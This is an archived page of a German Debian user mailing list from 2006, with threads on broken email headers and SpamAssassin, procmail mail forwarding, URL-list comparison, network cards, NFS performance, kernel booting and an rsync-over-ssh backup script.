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# Debian GNU/Linux Consultant #
Michelle Konzack   Apt. 917  ICQ #328449886
   50, rue de Soultz MSM LinuxMichi
0033/6/6192519367100 Strasbourg/France   IRC #Debian (irc.icq.com)


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Re: Kaputte E-Mails (von Jan Kohnert) durch X-Face:

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-26 13:11:25, schrieb Andreas Pakulat:

 Ja, die =?utf-8? Sequenzen sind dort aber vollkommen i.O., so kodiert
 man naemlich UTF-8 Zeichen im Header, in dem ja bekanntlich nur Ascii
 vorkommen darf. Schau dir mal die restlichen Zeichen dahinter an, da ist
 keines dabei das nicht im Ascii-Zeichensatz auftaucht.

Also ich habe meine Datenbank abgesucht und die einzigen utf-8
signaturen befinden sich im X-Face: von Jan.  Er ist ja nicht
der Einzige hier auf der Liste der Face: oder X-Face: benutzt.

  Ist ja der Grund, warum sich spamassassin zwichens reingehängt
  hat, genaugenommen am ENDE des Headers.
 
 Der Grund das SA sich dazwischen reinhaengt ist das dein SA kaputt ist.

Ich verwende die gleiche version wie murphy.

 Nein, das ist vollkommen legitim. Subjects mit =?iso-8859-1? sieht man
 staendig, wenn Leute dort Umlaute reinschreiben.

Also in Subject: oder From:, bzw To: OK, aber ich habe in
den RFC's nichts gefunden das ander Header zu codieren sind,
bzw ÜBERHAUPT andere Zeichen als US-ASCII enthalten dürfen...

 Koennten wir diesen Thread jetzt mal beenden, das Problem ist ganz
 offensichtlich auf deiner Seite (oder auf dem Weg zwischen murphy und
 dir).

Habe gerade eine E-Mail bekommen, wo murphy seine Header in das
X-Face: gesetzt hat, sprich entweder ist dei E-Mail bereits
zerfleddert bei murphy angekommen oder er hat sie zerlegt...

Greetings
Michelle Konzack


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Re: Kaputte E-Mails (von Jan Kohnert) durch X-Face:

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-25 22:24:57, schrieb Thorsten Haude:
 Moin,

 Ja und? Wir haben schon mehr als eine Aussage, daß die Header anderswo
 vernünftig ankommen, bisher aber niemanden außer Dir, bei dem sie
 gestört sind. Worauf deutet das hin?

Ich habe vor ein paar minuten wieder eine kaputte E-Mail erhalten,
nur befinden sich Envelope-To: und Delivered-To: direkt innerhalb
eines zerfleddertwen X-Face: Headers...

Diese beiden Header werden von murphy gesetzt, denn er ist ja der
Mailverteiler...  Meine Header (z.b. spamassassin) wurden dann daran
erst daran angehängt... Was bedeutetm das die E-Mail bereits so bei
mir ankam...

Anm:E-Mail war nicht von Jan aber von dieser Liste.
Ebenfals mit utf-8 signatur obwohl die E-Mail
text/plain. iso-8859-1 war/ist.

 Thorsten

Greetings
Michelle Konzack


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Re: Kaputte E-Mails (von Jan Kohnert) durch X-Face:

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-26 11:27:40, schrieb Danijel Tasov:

 [EMAIL PROTECTED]:~ spamassassin --version
 SpamAssassin version 3.1.0

Hier 3.0.3-2

   running on Perl version 5.8.4

5.8.4-8sarge3

 [EMAIL PROTECTED]:~ /usr/bin/perl -MMIME::Tools -le 'print 
 $MIME::Tools::VERSION'
 5.417

Hmmm, das gibt bei mir einen fehler...

Can't locate MIME/Tools.pm in @INC (@INC contains: /etc/perl /usr/lo
cal/lib/perl/5.8.4 /usr/local/share/perl/5.8.4 /usr/lib/perl5 /usr/s
hare/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site
_perl .).
BEGIN failed--compilation aborted.

Hmmm, ich habe nur Base64.pm und QuotedPrintable.pm

Tools.pm ist in libmime-perl was aber nirgends ein Depends hat...
Ich installiere es einfach mal...  gucken was passiert...

Ist auf alle fälle die gleiche Version wie bei Dir.

Greetings
Michelle Konzack


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Re: Mutt Konfiguration

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-26 14:41:19, schrieb Michelle Konzack:

 Ich mach das bereits in der procmailrc.  Mit 'formail -xtzxTo:'

Ups... natürlich:   'formail -rtzxTo:'

Greetings
Michelle Konzack


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Linux-User #280138 with the Linux Counter, http://counter.li.org/
# Debian GNU/Linux Consultant #
Michelle Konzack   Apt. 917  ICQ #328449886
   50, rue de Soultz MSM LinuxMichi
0033/6/6192519367100 Strasbourg/France   IRC #Debian (irc.icq.com)


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Re: xargs für url-listen?

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-26 12:02:29, schrieb Jan Kesten:

 Hmm, was Du da haben willst ist einfach eine Liste aller URLs die noch 
 nicht in $LISTE sind, aber in $DATEI stehen? Wo ist da das Problem? Wenn 
 ich mich in den Postings richtig erinnere, programmierst Du und nutzt 
 auch PostgreSQL.

Also bis jetzt überprüfe ich jeden URL ob er in der PostgreSQL
bereits ist, was aber immense Resourcen benötigt...  Die Kiste
ist ein Opteron 150 mit 4 GByte Speicher...  läuft aber derzeit
noch unter i386 weil ich mit ein paar programmen probleme unter
amd64 habe...


 Lösungsvorschlag a)
 
 Anstelle einer Liste mit den URLs als Expression einfach eine weitere 
 Liste, sort + diff = fertig.

Ein zweimailiges 'sort -u' mit nachfolgendem 'diff' dauerte über
30 minuten.

 Lösungsvorschlag b)
 
 Kurzes (Python|Perl|Java|whatecer)-Skript geschrieben, die $DATEI mit 
 den URLs komplett einlesen und alle Einträge anhand der $LISTE daraus 
 entfernen.

Machste dann ein Array aus den URLs?  Ich hatte das mit perl ein
bischen versucht, nur bin ich dann in Speicher schwierigkeiten
geraten wobei die 4 GByte nicht genug waren...

 Lösungsvorschlag c)
 
 PostgreSQL nehmen, zwei Tabellen für die beiden Listen erstellen, alle 
 URLs hineinschreiben. Okay, dafür sind Datenbanken sicher nicht gedacht, 
 aber möglich wäre es (vorallem wenn man noch zusätzliche Informationen 
 verwalten kann/will). Dann einen Query in der Form:
 
 select url from url1 except select url from url2;

Fast...

Die URL's sind ja bereits drin, nur teste ich derzeit jeden
eingehenden URL gegen die Liste...  was bei über 200 URLs
pro Sekunde ne nette Last gibt...

Geht allerdings über GigaBit Netzwerk.

Der Rechner selber ist nur für die Analyse zuständig...

 Lösungsvorschalg d)
 
 'Richtiges' Programm mit 'guter' Datenstrukturschreiben wenns noch 
 halbwegs schnell sein soll.
 
 Die Frage ist nun, wie würdet ihr das am besten lösen?
 
 NICHT in Umgebungsvariablen der Shell. Sonst mit kurzem Nachdenken, 5 
 Minuten Arbeit und etwas Warten.
 
 $DATEI ist übrigends eine Liste von URLS die ich überwachen, bzw.,
 runterladen will und $LISTE mein localer Cache.
 
 Soviel Überwachung lässt mich an gewissen Three-Letter-Agencies denken...

PMC  :-)

Ich betreibe seit ende 1999 dataretention... (lucratives nebengeschäft)

Naja, ich habe auch ein paar URLs des FBI und der CIA im Cache.
Man muß ja bischen auf dem laufenden sein...

 Ich behaupte das geht noch wesentlich schneller und eleganter (will 
 vorallem meinen etwas weniger speicherlastig), wenn die Listen beide 

Das Speicherproblem hatte ich auch.
Alle größeren Tests sind am Speicher gescheitert.

 sortiert vorliegen, wenn sie nicht mehr ins RAM passen. Da braucht es 
 dann aber mehr als die zehn Minuten, die ich mir genommen hab :-)

;-)

Dachte mir auch, das ich alles in den Speicher lade und von dort
aus arbeite und das Ergebnis in die PostgreSQL zurück schiebe.

Sollte eigentlich effectiver sin, als jeden einzelnen URL per
query in der Datenbank zu überprüfen...  (geht alles von einem
BaSH script aus)

 Cheers,
 Jan

Greetings
Michelle Konzack


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Re: Linux Videos... / on the fly iso erzeugen und brennen?

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-27 16:14:37, schrieb Robert Michel:
 Hab eben mal video.google.com nach Linux videos
 durchsucht... ganz nett z.B. ein IBM spot:
 http://video.google.com/videoplay?docid=8333280591924223277

Ich habe das Video The futur is open von IBM (mit Muhamed Ali)

 oder ein Film, wohl vom Schwedischen Fernsehen:
 The Linux Code (58 minutes)
 http://video.google.com/videoplay?docid=-3498228245415745977

Ich babe die Aufzeichnungen von ARTE Nom de Code: Linux und
Codename: Linux. Beides mal das gleiche, aber einmal auf
französisch und einmal in deutsch.

Kann sein, das dieses Video das gleiche ist wie die die ich habe...

 Von den obrigen URLs den link manual download aufrufen
 und daraus die URL http://vp.video.google.com/videodow; 
 waehlen.

Mal sehn...

 Wenn man mehrere solche URLs hat, wie koennte man
 on the fly ein iso erzeugen und on the fly
 dies auf CD brennen?

Hmmm...

Habe da noch 590 MByte Revolution OS herumliegen...  ;-)

 Gruss
 rob

Greetings
Michelle Konzack


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Re: Linux Videos... / on the fly iso erzeugen und brennen?

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-27 16:57:57, schrieb Robert Michel:
 Salve!
 
 Robert Michel schrieb am Samstag, den 27. Mai 2006 um 16:14h:
  oder ein Film, wohl vom Schwedischen Fernsehen:
 Da lag ich wohl daneben, es ist eine Arte France Produktion
 aus dem Jahre 2001, produziert von Hannu Puttonen
 
 Eine deutsche Version liegt hier:
 www.archive.org/details/codename_gnu_linx

Hey cool, die habe ich bereits seit zwei Jahren...
deutsch und französisch...

 rob

Greetings
Michelle Konzack


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Re: [Semi-OT] Foto-Drucker (9x13, 10x15 und 13x18)

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-30 18:12:55, schrieb Ulrich Mietke:
 Schon mal als Alternative an einen 'SOLID INK' Drucker gedacht?

Nein, -- noch nicht.

Nur benötige ich einen Drucker de echte Fotos produziert,
wie die vom Labor und nicht welche auf irgendwelchem Papier...

Das sind so gewisse Vorschriften die ich einhalten muß...

Greetings
Michelle Konzack


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Re: Suche billige Netzwerkk arte die von Linux gut unterstützt wird...

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-29 12:00:13, schrieb Knut Krause:

 da ich nun keine böse überraschungen direkt am start erleben möchte
 wollte ich 
 schnell fragen was für eine netzwerkkarte man am besten nimmt... soll
 nur son 
 10€ teil sein das aber gut unterstützt wird und irgendwie bei berlet
 etc zu 
 haben ist... 

Wie währe es mit http://www.ebay.de/ und dann nach 3c905C
oder notfals 3c905B suchen?  Die gibt es für 3-5 €.

Die 3Com ist eine die immer funktioniert...

Modul:  3c59x

Greetings
Michelle Konzack


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Re: Wieso bootet Rechner nicht ohne angeschlossene Maus?

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-28 11:08:55, schrieb Dirk Salva:
 Hi Leute,

 Nun, der Rechner ist ganz am Anfang des Bootvorganges mit einer
 Kernelmeldung boot (in einer neuen Zeile) einfach so stehengeblieben.
 Das hab ich dann nochmal ausprobiert, war reproduzierbar. Sobald ich
 die PS/2-Maus mit angesteckt habe, hat er problemlos durchgestartet.

Jo, das Symptom habe ich ein zwei P2/333.
psmaus ist im kernel fest eincompiliert...

 Seit wann ist denn der Bootvorgang vom Vorhandensein einer Maus
 abhängig?!?

Das habe ich mich auch gefragt, denn die Festplatte bootet einwandfrei
in anderen P2 Systemen...  denke das es sch... Hardware ist.

Greetings
Michelle Konzack


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Re: Suche billige Netzwerkk arte die von Linux gut unterstützt wird...

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-29 15:48:40, schrieb Jochen Schulz:

 In genau welchen Szenarien versagen die denn regelmäßig? Oder: was mach
 ich falsch, das die bei mir immer problemlos funktionieren? ;-)

Die billigen habe einen zu kleinen Puffer und versagen bei permanente oder
hoher traffic.

Die 3c905 hat 2kByte, die 3c905B schon 8kByte und die 3c905C nun 32kByte
Puffer, was sich bei der Performance extrem bemerkbar macht...

Greetings
Michelle Konzack


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Re: Mails kommen nicht in der Liste an

2006-06-08 Diskussionsfäden Michelle Konzack
Hi Holm,

Am 2006-05-29 12:45:00, schrieb Holm Kapschitzki:
 Hallo,
 
 ich weiß ja nicht was nunschon wieder los ist, aber ich versuch nun 
 schon seit 1 Woche, eine Mail mit dem Thread
 
 Systemsprache Deutsch
 
 an die Liste zu schicken. Selbstverständlich quitiert mein Mailserver 
 ein sent und wahrscheinlich wird diese Mail hier auch durchkommen.
 
 Was ist da los ?

Gute Frage, denn ich habe gestern 37 Mails an Debian Mailinglisten
gesendet und diese sind innerhalb von 3 minuten bei mir über die
Listen wieder zurückgekommen.  Einige Leute hier haben mir auch
innerhalb von 10-30 minuten geantwortet.

Also an murphy kann es nicht liegen...

Greetings
Michelle Konzack


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Re: Sylpheed läuft nur als Hintergrundprozess

2006-06-08 Diskussionsfäden Richard Mittendorfer
Also sprach Christian Stalp [EMAIL PROTECTED] (Thu, 08 Jun 2006
14:59:23 +0200):
 Hallo zusammen,
 ich habe ein kleines Problem mit Sylpheed. Und zwar bin ich gerade von
 
 KMail zu Sylpheed gewechselt. Dabei habe ich das komplette 
 Mail-Verzeichnis als Mail.old gesichert. Ich musste dann jedoch meine 
 alten Mails lesen und habe KMail wieder aufgerufen. Dafür habe ich
 Mail  zu Mail.sylpheed gemacht und Mail.kmail wieder zurück zu Mail.
 Leider  hat das nicht gebracht, ich konnte trotzdem nicht auf meine
 Mails  zugreifen, aber das ist halt KMail.

Sollte eigentlich keinen Unterschied machen. Ich kenn' zwar kmail nicht,
aber der ~/Mail Ordner sollte in eine standardisiertem Vormat vorliegen,
IMHO. (Mailbox.)

 Nun habe ich Mail.sylpheed wieder zu Mail gemacht und Sylpheed
 gemacht.  Aber wenn ich nun Sylpheed aufrufe läuft das nur als
 Hintergrundprozess  (schlafend).
 Auch wenn ich fg sylpheed oder fg prozess-ID aufrufe, bekomme ich nur 
 die Meldung no such process! Ich habe auch das .sylpheed-Verzeichnis
 
 gelöscht, hat leider auch nicht gebracht.

Je nach verwendetem sylpheed kann der Ordner .syslpheed .sylpheed-2
.sylpheed-claws u.ae. heissen.

Melde deinen User ab und versuch's nach erneuetem Login again.
Dazwischen versichere dich, dass deine Userprozesse beendet wurden 
(alt+strg+F1  console; ps aux; evtl. kill pid).

 Kann mir da jemand weiterhelfen?
 
 Vielen Dank im Voraus
 
 Gruss Christian

sl ritch



Re: xargs für url-listen?

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-26 00:27:50, schrieb Juergen Christoffel:
 On Thu, May 25, 2006 at 05:17:44PM +0200, Michelle Konzack wrote:
  fgrep --invert-match $LISTE $DATEI
 
 Du meinst vermutlich 
 
   fgrep --invert-match -f $LISTE $DATEI

Nein, denn 'fgrep' = 'grep -F' wobei $LISTE eine durch NEWLINES
getrennte Liste ist.  Ich habe die $LISTE in einer Variable.

  Rechenleistung, Speicher und Internetanbindung sind kein Problem.
 
 Das sollte es auch nicht, wenn Du 5M Links ueberwachen und/oder runterladen
 willst ;-)

Also mit meiner derzeitigen construction checke ich so um
die 200 Links pro Sekunde einzeln gegen die PostgreSQL...

Sprich, die Sache rotiert derzeit rund alle 8 Stunden...

Greetings
Michelle Konzack


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mailforward übe r mehrere Server (international)

2006-06-08 Diskussionsfäden Michelle Konzack
Hallo,

Also der Mailserver meines CyberCenter Netzwerks läuft jetzt seit
einiger Zeit stabil trotz heftiger Angriffe diverser Art...

Da zur Zeit nur wenig Traffic (ungefähr 200 messages pro Tag)
herrscht, habe ich alle mailboxen auf meinem Server in Paris und er
funktioniert einwandfrei.

Nun ist es aber so, das ich in jedem Land einen eigenen courier-
imap aufstellen will, um die Client-Seitige traffic zu reduzieren,
sprich, ich muß die eingehenden E-mails gegen eine Liste testenb und
an die externen mbox-$CC.cybercenter.SDL.TLD redirekten/forwarden.

Alle $USER verwenden [EMAIL PROTECTED] und der
Mailserverin Paris ist mail.cybercenter.SDL.TLD.  Da courier-mta
die E-Mailsnicht weiterleiten kann will ich das mit procmail oder
maildrop machen.

Maildrop läuft bereits im embedded mode da ich bereits
prefiltering auf smtp-level mache (über 1500 SPAMs pro Tag)

Gut, ich habe für jedes Land eine (DE, FR, MA, IR, TR) eine Liste
vonE-Mails and procmail sollte die messages zum richtigen
Mailbox-Serverredirecten/forwarden wo der  courier-imap wartet.

Ich dachte an sowas wie

8--
# Here I need the full RECIPIENT email like [EMAIL PROTECTED]
RECPFQDN=`formail -x Envelope-To:`

# strip the Domain-Part
RECPLOCAL=`echo $RECPFQDN |sed s/@.*//`

:0
* ? grep -i -w $RECPFQDN $IRAN.list /dev/null 21
! [EMAIL PROTECTED]

:0
* ? grep -i -w $RECPFQDN $TURKEY.list /dev/null 21
! [EMAIL PROTECTED]

:0
* ? grep -i -w $RECPFQDN $GERMANY.list /dev/null 21
! [EMAIL PROTECTED]

...
8--

Naja, das erste problem ist, das ich manchmal nicht die richtige
E-mail $RECPFQDN bekomme, obwohl ich den Envelope-To: verwende.
Der sieht manchmal eigenartig aus und die richtige E-mail steht
in Delivered-To:

Anm 1:  Empfangender MTA ist immer ein courier-mta-ssl und Ich
mache ja bereits prefiltering (weshalb maildrop im embedded
mode lauft aufgrund des smtp-levels).  Der Rest wird auf
den mbox-CC unter Verwendung von Benutzerconfigurationen
(procmail, maildrop, spamassassin, f-prot, ...) erledigt.

Anm 2:  SMTP-Relays für die clients ist immer der mbox-CC server
unter Verwendung von SSL/TLS, was bedeutet das ausgehende
Traffic nicht über Paris geroutet wird

Wenn ihr bessere ideen habt, laßt es mich wissen, aber KEINE Killer-
Configs mit postfix, exim oder sendmailbei welchen ich keine
Übersicht habe.

Grüße und schönes Wochenende
Michelle Konzack


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hotkeys funktioniert nicht als daemon

2006-06-08 Diskussionsfäden Moritz Lenz
Hallo,

auf meinem Laptop benutze ich hotkeys, um die Lautstärkeregelung via
Fn+Fx zu managen. Meine .xsession sieht so aus:

cd ~
eval `ssh-agent -t 14400`
eval `gpg-agent --daemon`
xset m 3 8
fvwm-themes-start  WMPID=$!
fvwm-root -r ~/.fvwm/signe_bg.png
sleep 2
hotkeys  -d /dev/cdrom -Z -L 7 -t aceraspire1300
wait $WMPID
ssh-agent -k

Wenn ich die entsprechenden Tastenkombinationen drücke (z.B. Fn + F8)
passiert gar nichts, auch im syslog erscheint nichts (trotz höchstem
Loglevel). Wenn ich hotkeys kille und es mit der Option -b im
Vordergrund starte, geht es aber problemlos (mit ansonten identischen
Optionen). Wenn ich hotkeys über meine .xsession gestartet habe und dann
im xterm das gleiche Kommando nochmal ausführe (also hotkeys  -d
/dev/cdrom -Z -L 7 -t aceraspire1300), kommt die Meldung
hotkeys started successfully.
Auch im syslog kommt eine entsprechende Meldung.
Wenn ich jetzt Fn+F8 drücke, wird tatsächlich die Lautstärke erhöht, das
OSD erscheint, und im Syslog habe ich folgende Meldungen:
Jun  8 14:00:38 localhost hotkeys[4691]: Running in the background
Jun  8 14:02:25 localhost hotkeys[2656]: Keycode 176 pressed
Jun  8 14:02:25 localhost hotkeys[4692]: Keycode 176 pressed
Jun  8 14:02:26 localhost hotkeys[2656]: Keycode 176 pressed
Jun  8 14:02:26 localhost hotkeys[4692]: Keycode 176 pressed

d.h. auf einmal reagieren beide Dämonen.
Wenn ich den neu gestarteten 'hotkeys' kille, funktioniert der alte
immer noch.

Was kann ich tun, damit hotkeys auf Anhieb funktioniert?

In .xsession-errors erscheint nichts, was mit hotkeys zu tun hat.

Wenn ich die Reihenfolg meines windowmanagers und hotkeys vertausche,
ändert das nichts an diesem Problem.

Ich benutze Debian Sarge + backports auf einem Fujitsu Siemens Lifebook
C1110D. Hotkeys ist in Version 0.5.7.3 installiert.


-- 
Moritz Lenz
http://moritz.faui2k3.org/





signature.asc
Description: OpenPGP digital signature


Re: Laser Maus

2006-06-08 Diskussionsfäden Udo Mueller
Hallo Marcus,

* Marcus Walther schrieb [08-06-06 10:11]:
 Udo Mueller schrieb:
  Also soll man dir lieber nix empfehlen?
  Doch, aber nicht hab $Programm auf $URI gefunden (das kann ich
  selbst).
  
  Dann kann man dir auf obige Frage aber nur antworten:
  
  Dafür braucht man ein Programm. Welches, das findest du sicher bei
  google.
 
 Erstens kann man sich eine solche Antwort hier nun wirklich ersparen

Also erwartest du lieber keine Antwort als einen Hinweis auf die
Lösung deines Problems? Warum dann überhaupt hier posten?

 und zweitens kann man auch so wie du antworten.

Ich hab nur so geantwortet, da du anscheinend zu faul warst, die
angegeben Befehle in die Konsole zu hacken.

  Also ich persönlich bin auch für allgemeine Programmhinweise
  dankbar. Dann kann ich selber herausfinden, obs das tut, was ich
  will.
 
 Du bist dafür dankbar, ich nicht.

Dann gib in deiner nächsten Anfrage bitte mit an, daß sich nur
diejenigen melden sollen, die praktische Erfahrung mit dem
empfohlenen Programm haben. Dann musst du niemanden für seine
gegebene Antwort beleidigen. Ich persönlich habe das nämlich so
aufgefasst.

 Unsere Standpunkte sind da nicht so
 richtig kompatibel. ;)

Ack.

 Ich habe hier ein altes Sarge mit einigen Backports. Da gibt es
 lomoco nicht als Paket. Somit steigt der Aufwand, dass mal schnell
 zu testen.

Stimmt. Da kommen noch 2 weitere Kommandozeilen dazu ;)

Mit freundlichen Grüßen

Udo Müller

-- 
ComputerService Udo Müller  Tel.: 0441-36167578
Schöllkrautweg 16   Fax.: 0441-36167579
26131 Oldenburg   [EMAIL PROTECTED] Mobil: 0162-4365411


signature.asc
Description: Digital signature


gksu fehler

2006-06-08 Diskussionsfäden Juan Claro

Hallo!

ich benutze etch mit kernel 2.6.15 und bekomme seit dem upgrade auf eben 
etch einen Fehler wenn ich ein admin-Werkzeug (z.B. synaptic) von gnome 
aus starten will, es ist wohl der gleiche wie im bug-report

( http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=344145 )


hello,
every time I launch gksu, I have a blank error dialog box.
hier wird am ende gesagt, dass es sich um eine falsche konfiguration von 
su handelt, in der Tat bekomme ich in der Konsole nach su und Passwort 
folgende fehlermeldungen (ich werde aber trotzdem root und kann dann aus 
de4r konsole auch synaptic o.ä. starten)


Konfigurationsfehler - Element 'FAIL_DELAY' unbekannt (Administrator 
verständigen)
Konfigurationsfehler - Element 'QUOTAS_ENAB' unbekannt (Administrator 
verständigen)
Konfigurationsfehler - Element 'NOLOGIN_STR' unbekannt (Administrator 
verständigen)
Konfigurationsfehler - Element 'ENV_HZ' unbekannt (Administrator 
verständigen)
Konfigurationsfehler - Element 'PASS_MAX_LEN' unbekannt (Administrator 
verständigen)
Konfigurationsfehler - Element 'CHFN_AUTH' unbekannt (Administrator 
verständigen)
Konfigurationsfehler - Element 'CLOSE_SESSIONS' unbekannt (Administrator 
verständigen)



wenn ich (als normaler Benutzer)

# gksu synaptic

in die konsole tippe kommt:

(gksu:7652): Gtk-WARNING **: Failed to set label from markup due to 
error parsing markup: Error on line 8 char 9: Invalid UTF-8 encoded text



der beitrag im bug-report hilft mir aber nicht viel, da ich leider nicht 
weiss, wie ich su richtig konfigurieren könnte... könnte mir hier jemand 
helfen?



Vielen Dank!

Juan


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Debian - Live CD

2006-06-08 Diskussionsfäden Jan Dinger

Hallo,
gibt von meinem Debian (installiert, konfiguriert mit Treiber etc.) eine 
Live CD zu erstellen? Habe dazu keine passende Software gefunden.


Grund ist, das ich keine Rollback-Software nutzen möchte.

mfg

Jan


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Re: Performance-Problem mit GBit-Netzwerkverbindung

2006-06-08 Diskussionsfäden Gordon Grubert

Hi Richard,


Problematischer Debian-Client (baugleich zum Suse-Client):
- Linux DEBIAN-CLIENT 2.6.15.1
- Yukon Gigabit Ethernet mit Standard-Treibern (Debian Sarge AMD64)


Probiere mal den Ubuntu Kern, vergleiche aber vorher die .config damit
dir nichts fehlt. Besser noch scheint mir einen Neueren versuchen -
selberbauen oder irgendwoher backporten, ..

da bin ich ehrlich gesagt ein wenig skeptisch. Der verwendete Kernel
ist schon vor kurzem selber gebaut und seit dem geht leider der
originale Kernel nicht mehr. Aber dies macht leider keinen Unterschied
zu einem Original-Debian-Kernel.


Zeigt nfsstat was Auffaelliges?(mag ich eigentlich schon
ausschliessen)


Server rpc stats:
calls  badcalls   badauthbadclntxdrcall
228965 2  2  0  0


Normal. Falls das Problem aber am NFS liegt, waeren die v3 Statistiken
interessant.

Hier die Infos:

Server nfs v3:
null   getattrsetattrlookup access readlink
64  0% 47926  20% 94  0% 20040% 15910% 250 0%
read   write  create mkdir  symlinkmknod
175551 76% 16330% 203 0% 0   0% 0   0% 0   0%
remove rmdir  rename link   readdirreaddirplus
115 0% 0   0% 139 0% 50  0% 1   0% 206 0%
fsstat fsinfo pathconf   commit
336 0% 47  0% 0   0% 42  0%


Ein merkwuerdiges Symptom. Mir will ausser den Gigabit-Treibern/Kernel
kein Uebeltaeter einfallen.

Am Server oder am Client? Ich koennt ja mal zusehen, dass ich aktuellere
Treiber fuer meinen Client verwende. Leider habe ich bei meinem Debian-
System und auch beim Suse keine Version fuer den Yukon-Treiber gefunden.


ethtool zeigt deine Karte ja richtig an, setze die Karte dennoch mal
exziplit auf die verwendete Uebertragungsart (u. autoneg off) und
schalte das HW-checksumming testweise ab.

ethtool -s eth0 speed 100 duplex full autoneg off
fuehrte dazu, dass praktisch gar nichts mehr geht. Das HW-checksumming
lies sich nicht abschalten.


Vergleiche dmesg/proc der identischen Debian und Suse Rechner nach
Auffaelligem (andere Interrupts, acpi..)

Dies werde ich noch tun.

Vielen Dank und schoene Gruesse
Gordon


--
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Re: Probleme nach Kernel Upgrade

2006-06-08 Diskussionsfäden Daniel Vukicevic
Dirk Finkeldey wrote:
 Die initrd.img ist auch vorhanden / symlink ist korrect ?

Ja klar. Siehe meine Auflistung des /boot Verzeichnis.


 Hm vmlinuz.old läßt sich auch nicht starten ?

Doch. Das ist der 2.4er Kernel.


 Falls du keinen 2.4.18 Kernel mehr verwenden möchtest, solltest du die
 systen.map-2.4.18-newpmac löschen um platz zu sparen - du mußt sie aber
 nicht löschen.

Ja.


 dieser symbolische link muß in / kopiert werden damit beim booten das
 initrd in /boot gefunden wird.

Warum ? Im Bootmanager ist der Link doch korrekt nach /boot angegeben.
In / würde es mir nichts nützen.


 Es müßte auch ein Comprimiertes dateisystem in /initrd liegen, falls das
 Verzeichnis leer ist mach doch mal ein mkinitrd.

Hm was wo ? Mkinitrd habe ich schon ausgeführt
- mkinitrd -o /boot/initrd.img-2.6.8-3-powerpc2 2.6.8-3-powerpc.


 Das kommt mir komisch vor, weshalb ist das initrd.img einmal als .old
 dabei  ?
 lösch dochmal den initrd.img-2.6.8-3-powerpc.old

Weil ich mkinitrd nach dem Kernelupgrade ausgeführt habe, da er ja nicht
mehr booten wollte.


 
 -rw-r--r--  1 root root   54760 Apr  7  2005 second.b
 -rw-r--r--  1 root root   41680 Nov 26  2001 second.b.preserved
 lrwxrwxrwx  1 root root  23 Jun  6 18:31 vmlinux -
 vmlinux-2.6.8-3-powerpc

 Auch dieser symlink müßte eigentlich in / liegen.

S.o.

 
 -rw-r--r--  1 root root 3573285 Nov 20  2003 vmlinux-2.4.18-newpmac
 -rw-r--r--  1 root root 3848370 Jun  6  2005 vmlinux-2.4.19
 -rw-r--r--  1 root root 3967208 Feb 12 22:19 vmlinux-2.6.8-3-powerpc
 -rw-r--r--  1 root root 1322157 Jun  6  2005 vmlinux.coff-2.4.19
 lrwxrwxrwx  1 root root  14 Jun  6 18:31 vmlinux.old -
 vmlinux-2.4.19

 Dieser ebenso.

S.o.

 Jemand ne Idee ?

 Hast du dich vielleicht verschrieben und vmlinux statt vmlinuz erwischt
 (möchte nichts unterstellen).

Das Kernel Image heisst hier doch vmlinux? Und nicht vmlinuz.

 Teste nochmal mit der änderung der symlinks, dan müßte zumindest
 Linux.old wieder Funktionieren.

Gut mein Fehler, darauf daß der alte Kernel noch tut habe ich nicht erwähnt.
Ich danke Dir aber trotzdem für die Tipps!


Grüsse
Daniel


-- 
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Re: Linux Videos... / on the fly iso erzeugen und brennen?

2006-06-08 Diskussionsfäden Dirk Finkeldey

Michelle Konzack schrieb:


Am 2006-05-27 16:57:57, schrieb Robert Michel:
 


Salve!

Robert Michel schrieb am Samstag, den 27. Mai 2006 um 16:14h:
   


oder ein Film, wohl vom Schwedischen Fernsehen:
 


Da lag ich wohl daneben, es ist eine Arte France Produktion
aus dem Jahre 2001, produziert von Hannu Puttonen

Eine deutsche Version liegt hier:
www.archive.org/details/codename_gnu_linx
   



Hey cool, die habe ich bereits seit zwei Jahren...
deutsch und französisch...


Vielleicht solltest du mal deine Ablage /Archiv gelegendlich aufräumen ;)



 


rob
   



Greetings
   Michelle Konzack



Mit freundlichen Grüßen Dirk Finkeldey



Re: Rsync und ssh Problem [gelöst]

2006-06-08 Diskussionsfäden Torsten Geile

[EMAIL PROTECTED] schrieb:

Hallo,

schlage mich gerade etwas mit rsync und der dazugehörigen ssh 
Verschlüsselung herum. Ziel ist es, von einem host die Daten eines 
anderen zu sichern. Rsync ohne Verschlüsselung läuft ohne Problemen 
hat aber lediglich den Nachteil, dass es nicht als Script laufen kann, 
wegen der Passwortabfrage. Damit ich dies umgehen kann, bin ich nach 
der Anleitung unter http://www.jdmz.net/ssh/ vorgegangen.


Prinzipiell läuft es jetzt auch, ohne dass ich nach einem Passwort 
gefragt werde, aber ich möchte diesen Prozess noch etwas absichern, 
damit auch wirklich nur der eine host über ssh und rsync Daten sichern 
kann.


Dies soll laut Anleitung damit gesichert werden, dass man auf dem 
Remotehost, also der Server, von dem gesichert wird, in der Datei 
/root/.ssh/authorized_keys den Wert 'from=IP-Adresse' voranstellt.
Dies habe ich auch gemacht, doch dann funktioniert das Script nicht 
mehr, bzw. ich werde nach einem Passwort gefagt


Das rsync Script ruft sich folgendermaßen auf.

#! /bin/sh
rsync -a -e ssh -i /root/skripte/tango-rsync-key [EMAIL PROTECTED]:/home / 
| tee /root/skripte/samba_to_tango.log
cat /root/skripte/samba_to_tango.log | mail -s Datenabgleich zwischen 
Samba und Tango wurde vorgenommen [EMAIL PROTECTED] 


Mir ist der ganze Vorgang etwas undeutlich, denn der abfragende Host 
(tango) müsste sich doch eigentlich am abgefragten host (samba) 
identifizieren. Gemäß der Anleitung erscheint es mir aber, dass die 
Konfiguration auf genau dem Gegenteiligem beruht. Den privat key und 
public key habe ich auf tango generiert und gemäß der Anleitung habe 
